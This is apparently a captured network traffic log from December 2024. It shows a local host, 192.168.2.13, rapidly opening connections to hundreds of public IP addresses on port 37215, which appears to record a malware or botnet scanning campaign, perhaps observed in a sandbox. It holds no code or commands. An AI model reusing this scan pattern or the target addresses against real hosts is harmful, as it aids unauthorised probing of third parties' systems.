Dec 30, 2024 11:58:12.967573881 CET	38900	37215	192.168.2.13	156.198.249.66
Dec 30, 2024 11:58:12.967573881 CET	48798	37215	192.168.2.13	41.218.106.229
Dec 30, 2024 11:58:12.967581987 CET	42926	37215	192.168.2.13	197.69.193.230
Dec 30, 2024 11:58:12.967601061 CET	49636	37215	192.168.2.13	197.165.15.60
Dec 30, 2024 11:58:12.967603922 CET	43452	37215	192.168.2.13	197.18.39.194
Dec 30, 2024 11:58:12.967603922 CET	45510	37215	192.168.2.13	197.144.53.206
Dec 30, 2024 11:58:12.967609882 CET	43242	37215	192.168.2.13	197.173.173.246
Dec 30, 2024 11:58:12.967609882 CET	32900	37215	192.168.2.13	41.213.41.74
Dec 30, 2024 11:58:12.967609882 CET	35294	37215	192.168.2.13	197.19.202.31
Dec 30, 2024 11:58:12.967609882 CET	53804	37215	192.168.2.13	197.32.93.1
Dec 30, 2024 11:58:12.967612982 CET	37454	37215	192.168.2.13	156.155.33.244
Dec 30, 2024 11:58:12.967618942 CET	48844	37215	192.168.2.13	197.19.198.97
Dec 30, 2024 11:58:12.967618942 CET	34516	37215	192.168.2.13	156.113.80.31
Dec 30, 2024 11:58:12.967623949 CET	51076	37215	192.168.2.13	156.10.13.115
Dec 30, 2024 11:58:12.967624903 CET	60592	37215	192.168.2.13	156.13.68.77
Dec 30, 2024 11:58:12.967629910 CET	45700	37215	192.168.2.13	197.15.134.48
Dec 30, 2024 11:58:12.967629910 CET	35710	37215	192.168.2.13	41.90.214.101
Dec 30, 2024 11:58:12.967634916 CET	33288	37215	192.168.2.13	197.251.95.164
Dec 30, 2024 11:58:12.967634916 CET	39066	37215	192.168.2.13	197.77.123.95
Dec 30, 2024 11:58:12.967637062 CET	37752	37215	192.168.2.13	41.236.110.200
Dec 30, 2024 11:58:12.967643976 CET	40502	37215	192.168.2.13	156.27.11.136
Dec 30, 2024 11:58:12.967643976 CET	36306	37215	192.168.2.13	156.106.233.154
Dec 30, 2024 11:58:12.967643976 CET	40432	37215	192.168.2.13	197.64.20.209
Dec 30, 2024 11:58:12.967650890 CET	51216	37215	192.168.2.13	197.39.230.71
Dec 30, 2024 11:58:12.967658997 CET	34588	37215	192.168.2.13	197.235.56.4
Dec 30, 2024 11:58:12.967662096 CET	44954	37215	192.168.2.13	41.89.93.238
Dec 30, 2024 11:58:12.967665911 CET	41840	37215	192.168.2.13	197.109.65.167
Dec 30, 2024 11:58:12.967665911 CET	55924	37215	192.168.2.13	197.64.116.30
Dec 30, 2024 11:58:12.967665911 CET	46804	37215	192.168.2.13	197.69.163.155
Dec 30, 2024 11:58:12.972475052 CET	37215	45632	41.62.125.56	192.168.2.13
Dec 30, 2024 11:58:12.972594023 CET	37215	55636	197.250.211.196	192.168.2.13
Dec 30, 2024 11:58:12.972604990 CET	37215	58722	156.235.162.94	192.168.2.13
Dec 30, 2024 11:58:12.972615004 CET	45632	37215	192.168.2.13	41.62.125.56
Dec 30, 2024 11:58:12.972616911 CET	37215	42338	156.124.74.71	192.168.2.13
Dec 30, 2024 11:58:12.972630024 CET	55636	37215	192.168.2.13	197.250.211.196
Dec 30, 2024 11:58:12.972632885 CET	37215	48862	197.218.0.81	192.168.2.13
Dec 30, 2024 11:58:12.972644091 CET	37215	52628	156.7.46.234	192.168.2.13
Dec 30, 2024 11:58:12.972652912 CET	37215	38900	156.198.249.66	192.168.2.13
Dec 30, 2024 11:58:12.972655058 CET	58722	37215	192.168.2.13	156.235.162.94
Dec 30, 2024 11:58:12.972662926 CET	37215	48798	41.218.106.229	192.168.2.13
Dec 30, 2024 11:58:12.972675085 CET	37215	49242	41.50.219.153	192.168.2.13
Dec 30, 2024 11:58:12.972688913 CET	52628	37215	192.168.2.13	156.7.46.234
Dec 30, 2024 11:58:12.972693920 CET	42338	37215	192.168.2.13	156.124.74.71
Dec 30, 2024 11:58:12.972693920 CET	48862	37215	192.168.2.13	197.218.0.81
Dec 30, 2024 11:58:12.972718954 CET	38900	37215	192.168.2.13	156.198.249.66
Dec 30, 2024 11:58:12.972718954 CET	48798	37215	192.168.2.13	41.218.106.229
Dec 30, 2024 11:58:12.972724915 CET	49242	37215	192.168.2.13	41.50.219.153
Dec 30, 2024 11:58:12.972800016 CET	14099	37215	192.168.2.13	156.208.228.171
Dec 30, 2024 11:58:12.972800970 CET	14099	37215	192.168.2.13	41.167.214.223
Dec 30, 2024 11:58:12.972819090 CET	14099	37215	192.168.2.13	41.140.178.243
Dec 30, 2024 11:58:12.972819090 CET	14099	37215	192.168.2.13	197.107.52.165
Dec 30, 2024 11:58:12.972826958 CET	14099	37215	192.168.2.13	156.4.21.45
Dec 30, 2024 11:58:12.972857952 CET	14099	37215	192.168.2.13	197.186.142.160
Dec 30, 2024 11:58:12.972862005 CET	14099	37215	192.168.2.13	156.56.171.73
Dec 30, 2024 11:58:12.972862005 CET	14099	37215	192.168.2.13	156.159.85.145
Dec 30, 2024 11:58:12.972862005 CET	14099	37215	192.168.2.13	41.88.62.160
Dec 30, 2024 11:58:12.972863913 CET	14099	37215	192.168.2.13	197.186.141.90
Dec 30, 2024 11:58:12.972866058 CET	14099	37215	192.168.2.13	156.91.199.62
Dec 30, 2024 11:58:12.972866058 CET	14099	37215	192.168.2.13	41.229.192.4
Dec 30, 2024 11:58:12.972872972 CET	14099	37215	192.168.2.13	197.7.106.71
Dec 30, 2024 11:58:12.972882986 CET	14099	37215	192.168.2.13	41.255.13.207
Dec 30, 2024 11:58:12.972886086 CET	14099	37215	192.168.2.13	41.112.82.154
Dec 30, 2024 11:58:12.972891092 CET	14099	37215	192.168.2.13	156.65.218.142
Dec 30, 2024 11:58:12.972893000 CET	14099	37215	192.168.2.13	41.11.131.181
Dec 30, 2024 11:58:12.972908020 CET	14099	37215	192.168.2.13	156.115.39.156
Dec 30, 2024 11:58:12.972927094 CET	14099	37215	192.168.2.13	41.218.237.150
Dec 30, 2024 11:58:12.972927094 CET	14099	37215	192.168.2.13	197.117.251.36
Dec 30, 2024 11:58:12.972928047 CET	14099	37215	192.168.2.13	41.113.128.250
Dec 30, 2024 11:58:12.972935915 CET	14099	37215	192.168.2.13	41.234.12.31
Dec 30, 2024 11:58:12.972942114 CET	14099	37215	192.168.2.13	156.79.71.98
Dec 30, 2024 11:58:12.972942114 CET	14099	37215	192.168.2.13	197.0.110.229
Dec 30, 2024 11:58:12.972944975 CET	14099	37215	192.168.2.13	41.222.128.129
Dec 30, 2024 11:58:12.972944975 CET	14099	37215	192.168.2.13	197.181.83.251
Dec 30, 2024 11:58:12.972963095 CET	14099	37215	192.168.2.13	41.170.164.145
Dec 30, 2024 11:58:12.972968102 CET	14099	37215	192.168.2.13	156.176.79.238
Dec 30, 2024 11:58:12.972978115 CET	14099	37215	192.168.2.13	197.117.206.83
Dec 30, 2024 11:58:12.972980022 CET	14099	37215	192.168.2.13	197.55.226.217
Dec 30, 2024 11:58:12.972990036 CET	14099	37215	192.168.2.13	156.162.55.147
Dec 30, 2024 11:58:12.973000050 CET	14099	37215	192.168.2.13	197.150.65.235
Dec 30, 2024 11:58:12.973001957 CET	14099	37215	192.168.2.13	156.115.207.22
Dec 30, 2024 11:58:12.973015070 CET	14099	37215	192.168.2.13	41.210.237.188
Dec 30, 2024 11:58:12.973015070 CET	14099	37215	192.168.2.13	156.252.46.196
Dec 30, 2024 11:58:12.973018885 CET	14099	37215	192.168.2.13	197.92.154.107
Dec 30, 2024 11:58:12.973025084 CET	37215	49636	197.165.15.60	192.168.2.13
Dec 30, 2024 11:58:12.973036051 CET	14099	37215	192.168.2.13	156.197.0.133
Dec 30, 2024 11:58:12.973037958 CET	37215	39198	41.67.222.98	192.168.2.13
Dec 30, 2024 11:58:12.973042011 CET	14099	37215	192.168.2.13	156.174.199.51
Dec 30, 2024 11:58:12.973042011 CET	14099	37215	192.168.2.13	41.211.176.211
Dec 30, 2024 11:58:12.973042965 CET	14099	37215	192.168.2.13	197.13.29.101
Dec 30, 2024 11:58:12.973059893 CET	14099	37215	192.168.2.13	41.233.114.134
Dec 30, 2024 11:58:12.973061085 CET	14099	37215	192.168.2.13	156.158.77.109
Dec 30, 2024 11:58:12.973062038 CET	37215	42926	197.69.193.230	192.168.2.13
Dec 30, 2024 11:58:12.973061085 CET	14099	37215	192.168.2.13	197.145.135.204
Dec 30, 2024 11:58:12.973073959 CET	37215	49630	156.153.64.61	192.168.2.13
Dec 30, 2024 11:58:12.973074913 CET	49636	37215	192.168.2.13	197.165.15.60
Dec 30, 2024 11:58:12.973092079 CET	37215	43452	197.18.39.194	192.168.2.13
Dec 30, 2024 11:58:12.973102093 CET	37215	32900	41.213.41.74	192.168.2.13
Dec 30, 2024 11:58:12.973103046 CET	14099	37215	192.168.2.13	41.249.61.52
Dec 30, 2024 11:58:12.973103046 CET	14099	37215	192.168.2.13	197.238.17.144
Dec 30, 2024 11:58:12.973104000 CET	14099	37215	192.168.2.13	197.239.38.47
Dec 30, 2024 11:58:12.973104954 CET	14099	37215	192.168.2.13	156.139.247.236
Dec 30, 2024 11:58:12.973107100 CET	37215	43242	197.173.173.246	192.168.2.13
Dec 30, 2024 11:58:12.973115921 CET	14099	37215	192.168.2.13	41.98.231.202
Dec 30, 2024 11:58:12.973115921 CET	14099	37215	192.168.2.13	156.87.113.87
Dec 30, 2024 11:58:12.973117113 CET	14099	37215	192.168.2.13	41.63.7.97
Dec 30, 2024 11:58:12.973119020 CET	37215	45510	197.144.53.206	192.168.2.13
Dec 30, 2024 11:58:12.973119974 CET	14099	37215	192.168.2.13	156.38.54.12
Dec 30, 2024 11:58:12.973120928 CET	42926	37215	192.168.2.13	197.69.193.230
Dec 30, 2024 11:58:12.973120928 CET	14099	37215	192.168.2.13	156.81.233.226
Dec 30, 2024 11:58:12.973120928 CET	14099	37215	192.168.2.13	41.222.177.114
Dec 30, 2024 11:58:12.973121881 CET	39198	37215	192.168.2.13	41.67.222.98
Dec 30, 2024 11:58:12.973123074 CET	49630	37215	192.168.2.13	156.153.64.61
Dec 30, 2024 11:58:12.973123074 CET	14099	37215	192.168.2.13	41.216.209.23
Dec 30, 2024 11:58:12.973124027 CET	37215	35294	197.19.202.31	192.168.2.13
Dec 30, 2024 11:58:12.973130941 CET	14099	37215	192.168.2.13	41.237.101.133
Dec 30, 2024 11:58:12.973130941 CET	14099	37215	192.168.2.13	41.221.223.230
Dec 30, 2024 11:58:12.973133087 CET	37215	53804	197.32.93.1	192.168.2.13
Dec 30, 2024 11:58:12.973138094 CET	14099	37215	192.168.2.13	156.171.136.52
Dec 30, 2024 11:58:12.973138094 CET	14099	37215	192.168.2.13	197.143.249.132
Dec 30, 2024 11:58:12.973139048 CET	14099	37215	192.168.2.13	197.173.177.163
Dec 30, 2024 11:58:12.973145962 CET	37215	48844	197.19.198.97	192.168.2.13
Dec 30, 2024 11:58:12.973149061 CET	14099	37215	192.168.2.13	156.222.158.1
Dec 30, 2024 11:58:12.973157883 CET	37215	34516	156.113.80.31	192.168.2.13
Dec 30, 2024 11:58:12.973167896 CET	37215	51076	156.10.13.115	192.168.2.13
Dec 30, 2024 11:58:12.973177910 CET	37215	37454	156.155.33.244	192.168.2.13
Dec 30, 2024 11:58:12.973181009 CET	43452	37215	192.168.2.13	197.18.39.194
Dec 30, 2024 11:58:12.973181963 CET	37215	60592	156.13.68.77	192.168.2.13
Dec 30, 2024 11:58:12.973185062 CET	14099	37215	192.168.2.13	41.35.172.107
Dec 30, 2024 11:58:12.973185062 CET	14099	37215	192.168.2.13	156.29.157.186
Dec 30, 2024 11:58:12.973186970 CET	37215	45700	197.15.134.48	192.168.2.13
Dec 30, 2024 11:58:12.973189116 CET	14099	37215	192.168.2.13	197.251.116.92
Dec 30, 2024 11:58:12.973191977 CET	37215	35710	41.90.214.101	192.168.2.13
Dec 30, 2024 11:58:12.973193884 CET	32900	37215	192.168.2.13	41.213.41.74
Dec 30, 2024 11:58:12.973193884 CET	35294	37215	192.168.2.13	197.19.202.31
Dec 30, 2024 11:58:12.973196030 CET	37215	37752	41.236.110.200	192.168.2.13
Dec 30, 2024 11:58:12.973200083 CET	37215	33288	197.251.95.164	192.168.2.13
Dec 30, 2024 11:58:12.973202944 CET	45510	37215	192.168.2.13	197.144.53.206
Dec 30, 2024 11:58:12.973202944 CET	43242	37215	192.168.2.13	197.173.173.246
Dec 30, 2024 11:58:12.973202944 CET	53804	37215	192.168.2.13	197.32.93.1
Dec 30, 2024 11:58:12.973203897 CET	14099	37215	192.168.2.13	156.82.195.170
Dec 30, 2024 11:58:12.973205090 CET	37215	39066	197.77.123.95	192.168.2.13
Dec 30, 2024 11:58:12.973205090 CET	14099	37215	192.168.2.13	156.125.88.154
Dec 30, 2024 11:58:12.973207951 CET	34516	37215	192.168.2.13	156.113.80.31
Dec 30, 2024 11:58:12.973207951 CET	48844	37215	192.168.2.13	197.19.198.97
Dec 30, 2024 11:58:12.973212004 CET	37215	36306	156.106.233.154	192.168.2.13
Dec 30, 2024 11:58:12.973212957 CET	14099	37215	192.168.2.13	197.173.229.247
Dec 30, 2024 11:58:12.973215103 CET	14099	37215	192.168.2.13	197.191.166.173
Dec 30, 2024 11:58:12.973217010 CET	37215	40502	156.27.11.136	192.168.2.13
Dec 30, 2024 11:58:12.973217010 CET	14099	37215	192.168.2.13	197.174.73.7
Dec 30, 2024 11:58:12.973243952 CET	14099	37215	192.168.2.13	156.246.222.160
Dec 30, 2024 11:58:12.973244905 CET	14099	37215	192.168.2.13	156.151.27.167
Dec 30, 2024 11:58:12.973251104 CET	14099	37215	192.168.2.13	197.208.6.226
Dec 30, 2024 11:58:12.973251104 CET	37454	37215	192.168.2.13	156.155.33.244
Dec 30, 2024 11:58:12.973252058 CET	37215	40432	197.64.20.209	192.168.2.13
Dec 30, 2024 11:58:12.973253965 CET	51076	37215	192.168.2.13	156.10.13.115
Dec 30, 2024 11:58:12.973256111 CET	37215	51216	197.39.230.71	192.168.2.13
Dec 30, 2024 11:58:12.973259926 CET	37752	37215	192.168.2.13	41.236.110.200
Dec 30, 2024 11:58:12.973261118 CET	37215	34588	197.235.56.4	192.168.2.13
Dec 30, 2024 11:58:12.973262072 CET	60592	37215	192.168.2.13	156.13.68.77
Dec 30, 2024 11:58:12.973263025 CET	45700	37215	192.168.2.13	197.15.134.48
Dec 30, 2024 11:58:12.973272085 CET	37215	44954	41.89.93.238	192.168.2.13
Dec 30, 2024 11:58:12.973282099 CET	37215	41840	197.109.65.167	192.168.2.13
Dec 30, 2024 11:58:12.973284960 CET	14099	37215	192.168.2.13	156.91.235.127
Dec 30, 2024 11:58:12.973284960 CET	36306	37215	192.168.2.13	156.106.233.154
Dec 30, 2024 11:58:12.973285913 CET	37215	55924	197.64.116.30	192.168.2.13
Dec 30, 2024 11:58:12.973287106 CET	40502	37215	192.168.2.13	156.27.11.136
Dec 30, 2024 11:58:12.973287106 CET	35710	37215	192.168.2.13	41.90.214.101
Dec 30, 2024 11:58:12.973287106 CET	40432	37215	192.168.2.13	197.64.20.209
Dec 30, 2024 11:58:12.973289013 CET	33288	37215	192.168.2.13	197.251.95.164
Dec 30, 2024 11:58:12.973289013 CET	39066	37215	192.168.2.13	197.77.123.95
Dec 30, 2024 11:58:12.973289967 CET	14099	37215	192.168.2.13	156.168.125.8
Dec 30, 2024 11:58:12.973290920 CET	37215	46804	197.69.163.155	192.168.2.13
Dec 30, 2024 11:58:12.973297119 CET	14099	37215	192.168.2.13	41.123.255.182
Dec 30, 2024 11:58:12.973299026 CET	14099	37215	192.168.2.13	197.175.197.52
Dec 30, 2024 11:58:12.973299026 CET	34588	37215	192.168.2.13	197.235.56.4
Dec 30, 2024 11:58:12.973299026 CET	51216	37215	192.168.2.13	197.39.230.71
Dec 30, 2024 11:58:12.973331928 CET	14099	37215	192.168.2.13	197.226.121.156
Dec 30, 2024 11:58:12.973332882 CET	14099	37215	192.168.2.13	197.172.115.177
Dec 30, 2024 11:58:12.973335981 CET	44954	37215	192.168.2.13	41.89.93.238
Dec 30, 2024 11:58:12.973341942 CET	41840	37215	192.168.2.13	197.109.65.167
Dec 30, 2024 11:58:12.973341942 CET	46804	37215	192.168.2.13	197.69.163.155
Dec 30, 2024 11:58:12.973344088 CET	55924	37215	192.168.2.13	197.64.116.30
Dec 30, 2024 11:58:12.973344088 CET	14099	37215	192.168.2.13	197.236.150.235
Dec 30, 2024 11:58:12.973365068 CET	14099	37215	192.168.2.13	41.208.240.38
Dec 30, 2024 11:58:12.973368883 CET	14099	37215	192.168.2.13	41.27.53.38
Dec 30, 2024 11:58:12.973371983 CET	14099	37215	192.168.2.13	156.138.61.51
Dec 30, 2024 11:58:12.973372936 CET	14099	37215	192.168.2.13	197.186.57.24
Dec 30, 2024 11:58:12.973377943 CET	14099	37215	192.168.2.13	41.54.233.23
Dec 30, 2024 11:58:12.973395109 CET	14099	37215	192.168.2.13	156.144.21.107
Dec 30, 2024 11:58:12.973397017 CET	14099	37215	192.168.2.13	156.112.200.47
Dec 30, 2024 11:58:12.973407984 CET	14099	37215	192.168.2.13	156.171.71.173
Dec 30, 2024 11:58:12.973418951 CET	14099	37215	192.168.2.13	41.129.171.140
Dec 30, 2024 11:58:12.973421097 CET	14099	37215	192.168.2.13	156.7.168.201
Dec 30, 2024 11:58:12.973436117 CET	14099	37215	192.168.2.13	156.133.252.107
Dec 30, 2024 11:58:12.973438025 CET	14099	37215	192.168.2.13	41.41.162.146
Dec 30, 2024 11:58:12.973440886 CET	14099	37215	192.168.2.13	156.118.206.198
Dec 30, 2024 11:58:12.973452091 CET	14099	37215	192.168.2.13	41.221.117.54
Dec 30, 2024 11:58:12.973464966 CET	14099	37215	192.168.2.13	197.242.148.195
Dec 30, 2024 11:58:12.973475933 CET	14099	37215	192.168.2.13	197.181.230.85
Dec 30, 2024 11:58:12.973480940 CET	14099	37215	192.168.2.13	197.103.201.61
Dec 30, 2024 11:58:12.973484039 CET	14099	37215	192.168.2.13	41.83.175.17
Dec 30, 2024 11:58:12.973491907 CET	14099	37215	192.168.2.13	41.16.71.99
Dec 30, 2024 11:58:12.973515987 CET	14099	37215	192.168.2.13	197.253.208.130
Dec 30, 2024 11:58:12.973515987 CET	14099	37215	192.168.2.13	41.193.236.51
Dec 30, 2024 11:58:12.973515987 CET	14099	37215	192.168.2.13	41.94.1.103
Dec 30, 2024 11:58:12.973516941 CET	14099	37215	192.168.2.13	197.2.170.62
Dec 30, 2024 11:58:12.973526955 CET	14099	37215	192.168.2.13	197.255.45.151
Dec 30, 2024 11:58:12.973539114 CET	14099	37215	192.168.2.13	41.18.239.112
Dec 30, 2024 11:58:12.973539114 CET	14099	37215	192.168.2.13	156.178.132.150
Dec 30, 2024 11:58:12.973551989 CET	14099	37215	192.168.2.13	197.124.98.85
Dec 30, 2024 11:58:12.973562002 CET	14099	37215	192.168.2.13	197.59.231.228
Dec 30, 2024 11:58:12.973571062 CET	14099	37215	192.168.2.13	156.1.29.234
Dec 30, 2024 11:58:12.973572016 CET	14099	37215	192.168.2.13	41.162.22.116
Dec 30, 2024 11:58:12.973573923 CET	14099	37215	192.168.2.13	156.209.57.130
Dec 30, 2024 11:58:12.973608017 CET	14099	37215	192.168.2.13	197.164.89.222
Dec 30, 2024 11:58:12.973608017 CET	14099	37215	192.168.2.13	197.186.142.213
Dec 30, 2024 11:58:12.973608017 CET	14099	37215	192.168.2.13	41.15.102.141
Dec 30, 2024 11:58:12.973614931 CET	14099	37215	192.168.2.13	41.197.179.223
Dec 30, 2024 11:58:12.973618031 CET	14099	37215	192.168.2.13	156.80.7.155
Dec 30, 2024 11:58:12.973619938 CET	14099	37215	192.168.2.13	41.221.20.133
Dec 30, 2024 11:58:12.973619938 CET	14099	37215	192.168.2.13	197.48.0.97
Dec 30, 2024 11:58:12.973619938 CET	14099	37215	192.168.2.13	41.39.214.83
Dec 30, 2024 11:58:12.973619938 CET	14099	37215	192.168.2.13	156.196.53.109
Dec 30, 2024 11:58:12.973633051 CET	14099	37215	192.168.2.13	41.225.213.206
Dec 30, 2024 11:58:12.973633051 CET	14099	37215	192.168.2.13	156.153.142.251
Dec 30, 2024 11:58:12.973645926 CET	14099	37215	192.168.2.13	41.122.15.65
Dec 30, 2024 11:58:12.973648071 CET	14099	37215	192.168.2.13	41.30.250.131
Dec 30, 2024 11:58:12.973656893 CET	14099	37215	192.168.2.13	197.146.216.90
Dec 30, 2024 11:58:12.973668098 CET	14099	37215	192.168.2.13	197.146.10.64
Dec 30, 2024 11:58:12.973673105 CET	14099	37215	192.168.2.13	197.157.98.186
Dec 30, 2024 11:58:12.973678112 CET	14099	37215	192.168.2.13	41.51.112.115
Dec 30, 2024 11:58:12.973690033 CET	14099	37215	192.168.2.13	156.176.52.198
Dec 30, 2024 11:58:12.973690987 CET	14099	37215	192.168.2.13	41.103.61.166
Dec 30, 2024 11:58:12.973699093 CET	14099	37215	192.168.2.13	197.73.3.9
Dec 30, 2024 11:58:12.973702908 CET	14099	37215	192.168.2.13	41.169.240.62
Dec 30, 2024 11:58:12.973716974 CET	14099	37215	192.168.2.13	156.127.115.235
Dec 30, 2024 11:58:12.973725080 CET	14099	37215	192.168.2.13	156.116.116.52
Dec 30, 2024 11:58:12.973730087 CET	14099	37215	192.168.2.13	197.161.149.233
Dec 30, 2024 11:58:12.973732948 CET	14099	37215	192.168.2.13	156.66.11.162
Dec 30, 2024 11:58:12.973742962 CET	14099	37215	192.168.2.13	156.242.56.42
Dec 30, 2024 11:58:12.973754883 CET	14099	37215	192.168.2.13	41.211.111.170
Dec 30, 2024 11:58:12.973756075 CET	14099	37215	192.168.2.13	41.126.88.19
Dec 30, 2024 11:58:12.973769903 CET	14099	37215	192.168.2.13	41.114.234.47
Dec 30, 2024 11:58:12.973773956 CET	14099	37215	192.168.2.13	41.252.1.197
Dec 30, 2024 11:58:12.973773956 CET	14099	37215	192.168.2.13	41.69.83.190
Dec 30, 2024 11:58:12.973790884 CET	14099	37215	192.168.2.13	197.63.130.77
Dec 30, 2024 11:58:12.973793030 CET	14099	37215	192.168.2.13	197.68.20.25
Dec 30, 2024 11:58:12.973794937 CET	14099	37215	192.168.2.13	197.207.41.36
Dec 30, 2024 11:58:12.973807096 CET	14099	37215	192.168.2.13	156.204.235.156
Dec 30, 2024 11:58:12.973823071 CET	14099	37215	192.168.2.13	197.247.135.211
Dec 30, 2024 11:58:12.973824024 CET	14099	37215	192.168.2.13	156.102.121.23
Dec 30, 2024 11:58:12.973823071 CET	14099	37215	192.168.2.13	197.241.66.35
Dec 30, 2024 11:58:12.973836899 CET	14099	37215	192.168.2.13	156.211.120.27
Dec 30, 2024 11:58:12.973844051 CET	14099	37215	192.168.2.13	156.109.75.161
Dec 30, 2024 11:58:12.973853111 CET	14099	37215	192.168.2.13	156.25.200.40
Dec 30, 2024 11:58:12.973860025 CET	14099	37215	192.168.2.13	41.180.249.226
Dec 30, 2024 11:58:12.973867893 CET	14099	37215	192.168.2.13	156.140.219.246
Dec 30, 2024 11:58:12.973875999 CET	14099	37215	192.168.2.13	156.209.15.79
Dec 30, 2024 11:58:12.973877907 CET	14099	37215	192.168.2.13	156.23.25.233
Dec 30, 2024 11:58:12.973896027 CET	14099	37215	192.168.2.13	197.93.68.201
Dec 30, 2024 11:58:12.973901987 CET	14099	37215	192.168.2.13	41.73.140.90
Dec 30, 2024 11:58:12.973911047 CET	14099	37215	192.168.2.13	197.221.211.203
Dec 30, 2024 11:58:12.973912954 CET	14099	37215	192.168.2.13	156.118.127.241
Dec 30, 2024 11:58:12.973922014 CET	14099	37215	192.168.2.13	156.149.72.120
Dec 30, 2024 11:58:12.973932028 CET	14099	37215	192.168.2.13	156.84.195.91
Dec 30, 2024 11:58:12.974066019 CET	45632	37215	192.168.2.13	41.62.125.56
Dec 30, 2024 11:58:12.974066019 CET	45632	37215	192.168.2.13	41.62.125.56
Dec 30, 2024 11:58:12.974637032 CET	45828	37215	192.168.2.13	41.62.125.56
Dec 30, 2024 11:58:12.975085020 CET	46804	37215	192.168.2.13	197.69.163.155
Dec 30, 2024 11:58:12.975120068 CET	46804	37215	192.168.2.13	197.69.163.155
Dec 30, 2024 11:58:12.975403070 CET	47080	37215	192.168.2.13	197.69.163.155
Dec 30, 2024 11:58:12.975795984 CET	41840	37215	192.168.2.13	197.109.65.167
Dec 30, 2024 11:58:12.975832939 CET	41840	37215	192.168.2.13	197.109.65.167
Dec 30, 2024 11:58:12.976094007 CET	42116	37215	192.168.2.13	197.109.65.167
Dec 30, 2024 11:58:12.976492882 CET	44954	37215	192.168.2.13	41.89.93.238
Dec 30, 2024 11:58:12.976527929 CET	44954	37215	192.168.2.13	41.89.93.238
Dec 30, 2024 11:58:12.976803064 CET	45230	37215	192.168.2.13	41.89.93.238
Dec 30, 2024 11:58:12.977209091 CET	55924	37215	192.168.2.13	197.64.116.30
Dec 30, 2024 11:58:12.977209091 CET	55924	37215	192.168.2.13	197.64.116.30
Dec 30, 2024 11:58:12.977529049 CET	56200	37215	192.168.2.13	197.64.116.30
Dec 30, 2024 11:58:12.977694035 CET	37215	14099	156.208.228.171	192.168.2.13
Dec 30, 2024 11:58:12.977704048 CET	37215	14099	41.167.214.223	192.168.2.13
Dec 30, 2024 11:58:12.977713108 CET	37215	14099	41.140.178.243	192.168.2.13
Dec 30, 2024 11:58:12.977722883 CET	37215	14099	197.107.52.165	192.168.2.13
Dec 30, 2024 11:58:12.977727890 CET	37215	14099	156.4.21.45	192.168.2.13
Dec 30, 2024 11:58:12.977746010 CET	14099	37215	192.168.2.13	156.208.228.171
Dec 30, 2024 11:58:12.977751017 CET	14099	37215	192.168.2.13	41.167.214.223
Dec 30, 2024 11:58:12.977758884 CET	14099	37215	192.168.2.13	156.4.21.45
Dec 30, 2024 11:58:12.977761030 CET	14099	37215	192.168.2.13	197.107.52.165
Dec 30, 2024 11:58:12.977761030 CET	14099	37215	192.168.2.13	41.140.178.243
Dec 30, 2024 11:58:12.977938890 CET	51216	37215	192.168.2.13	197.39.230.71
Dec 30, 2024 11:58:12.977938890 CET	51216	37215	192.168.2.13	197.39.230.71
Dec 30, 2024 11:58:12.978154898 CET	37215	14099	197.186.142.160	192.168.2.13
Dec 30, 2024 11:58:12.978177071 CET	37215	14099	197.186.141.90	192.168.2.13
Dec 30, 2024 11:58:12.978193045 CET	37215	14099	156.56.171.73	192.168.2.13
Dec 30, 2024 11:58:12.978204012 CET	37215	14099	156.91.199.62	192.168.2.13
Dec 30, 2024 11:58:12.978207111 CET	14099	37215	192.168.2.13	197.186.142.160
Dec 30, 2024 11:58:12.978213072 CET	37215	14099	156.159.85.145	192.168.2.13
Dec 30, 2024 11:58:12.978223085 CET	37215	14099	41.229.192.4	192.168.2.13
Dec 30, 2024 11:58:12.978224039 CET	14099	37215	192.168.2.13	197.186.141.90
Dec 30, 2024 11:58:12.978226900 CET	37215	14099	197.7.106.71	192.168.2.13
Dec 30, 2024 11:58:12.978231907 CET	37215	14099	41.88.62.160	192.168.2.13
Dec 30, 2024 11:58:12.978241920 CET	37215	14099	41.255.13.207	192.168.2.13
Dec 30, 2024 11:58:12.978246927 CET	37215	14099	156.65.218.142	192.168.2.13
Dec 30, 2024 11:58:12.978250027 CET	14099	37215	192.168.2.13	156.91.199.62
Dec 30, 2024 11:58:12.978250980 CET	37215	14099	41.11.131.181	192.168.2.13
Dec 30, 2024 11:58:12.978255987 CET	37215	14099	41.112.82.154	192.168.2.13
Dec 30, 2024 11:58:12.978255033 CET	14099	37215	192.168.2.13	156.56.171.73
Dec 30, 2024 11:58:12.978255033 CET	14099	37215	192.168.2.13	156.159.85.145
Dec 30, 2024 11:58:12.978266954 CET	37215	14099	156.115.39.156	192.168.2.13
Dec 30, 2024 11:58:12.978276968 CET	37215	14099	41.113.128.250	192.168.2.13
Dec 30, 2024 11:58:12.978280067 CET	14099	37215	192.168.2.13	197.7.106.71
Dec 30, 2024 11:58:12.978280067 CET	14099	37215	192.168.2.13	156.65.218.142
Dec 30, 2024 11:58:12.978286028 CET	14099	37215	192.168.2.13	41.88.62.160
Dec 30, 2024 11:58:12.978288889 CET	14099	37215	192.168.2.13	41.229.192.4
Dec 30, 2024 11:58:12.978288889 CET	14099	37215	192.168.2.13	41.11.131.181
Dec 30, 2024 11:58:12.978288889 CET	37215	14099	41.218.237.150	192.168.2.13
Dec 30, 2024 11:58:12.978291988 CET	14099	37215	192.168.2.13	41.112.82.154
Dec 30, 2024 11:58:12.978302956 CET	37215	14099	197.117.251.36	192.168.2.13
Dec 30, 2024 11:58:12.978312969 CET	37215	14099	41.234.12.31	192.168.2.13
Dec 30, 2024 11:58:12.978317976 CET	37215	14099	41.222.128.129	192.168.2.13
Dec 30, 2024 11:58:12.978319883 CET	14099	37215	192.168.2.13	41.255.13.207
Dec 30, 2024 11:58:12.978327990 CET	37215	14099	156.79.71.98	192.168.2.13
Dec 30, 2024 11:58:12.978327990 CET	51492	37215	192.168.2.13	197.39.230.71
Dec 30, 2024 11:58:12.978338003 CET	37215	14099	197.181.83.251	192.168.2.13
Dec 30, 2024 11:58:12.978339911 CET	14099	37215	192.168.2.13	41.218.237.150
Dec 30, 2024 11:58:12.978339911 CET	14099	37215	192.168.2.13	197.117.251.36
Dec 30, 2024 11:58:12.978343964 CET	37215	14099	197.0.110.229	192.168.2.13
Dec 30, 2024 11:58:12.978343964 CET	14099	37215	192.168.2.13	41.222.128.129
Dec 30, 2024 11:58:12.978348970 CET	37215	14099	41.170.164.145	192.168.2.13
Dec 30, 2024 11:58:12.978349924 CET	14099	37215	192.168.2.13	41.113.128.250
Dec 30, 2024 11:58:12.978351116 CET	14099	37215	192.168.2.13	156.115.39.156
Dec 30, 2024 11:58:12.978351116 CET	14099	37215	192.168.2.13	41.234.12.31
